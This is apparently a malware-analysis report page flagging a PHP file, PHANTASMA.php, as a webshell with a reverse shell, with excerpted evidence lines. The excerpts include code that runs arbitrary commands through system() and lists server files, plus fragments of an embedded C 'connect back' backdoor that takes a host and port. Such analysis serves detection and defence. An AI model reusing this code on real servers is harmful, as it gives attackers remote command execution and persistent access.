Hostile 92% php Download

Exploit.PHP.e

PHP webshell with reverse shell

PHP Webshells Github Archive - file PHANTASMA.phpCalls PHP fwrite()
SHA-25672c3ff61790983933a3db52c1e5a09b1fd2df88befbaf4de19b6ca8b235097a4

Evidence

Gets current working directory lines 4–22
⋯4 lines
8 closelog( );
9
10 $dono = get_current_user( );
11 $ver = phpversion( );
12 $login = posix_getuid( );
13 $euid = posix_geteuid( );
14 $gid = posix_getgid( );
15 if ($chdir == "") $chdir = getcwd( );
16
17?>
⋯5 lines
Emits data with a PHP echo statement lines 46–49
46:52… : 15px;">Server IP: <?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD>
47 </TR>
48 <TR>
49 <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web Server: <?= "$SERVER_SOFTWARE $ …
Names the CGI QUERY_STRING variable lines 68–111
68:3…
69if ($fe == "2"){
70$fe = "system";
71}
72
73 if (isset($chdir)) @chdir($chdir);
74
75 ob_start( );
76 $fe("$cmd 2>&1");
77 $output = ob_get_contents();
78 ob_end_clean( );
79
80?>
81<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;">
82<?php
83
84 if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
85?>
86</TEXTAREA>
⋯4 lines
91
92 if ($safemode != "") {
93 echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Safemode Mode Run</DIV>";
94
95?>
96<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Safe Mode Directory Listing</DIV>
97<?php
98
99 if ($dir = @opendir($chdir)) {
100 echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
101 echo "<TR>";
102 echo "<TD valign=top>";
103 echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
104 while (($file = readdir($dir)) !== false) {
105 if (@is_file($file)) {
106 $file1 = fileowner($file);
107 $file2 = fileperms($file);
108 echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";
109 // echo "<font color=green>$file1 - $file2 - $file </font><br>";
110 flush( );
111 } …
Suppresses errors with the PHP @ operator lines 118–122
118:4… while (($file = readdir($dir)) !== false) {
119 if (@is_dir($file)) {
120 $file1 = fileowner($file);
121 $file2 = fileperms($file);
122 echo "<font color=blue>$file1 - $file2 …
PHP Webshells Github Archive - file PHANTASMA.php lines 182–190
182:10… " printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" .
183 " if (argc < 2 || argc > 3) {\n" .
184 " printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" .
185 " return 1;\n" .
186 " }\n" .
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.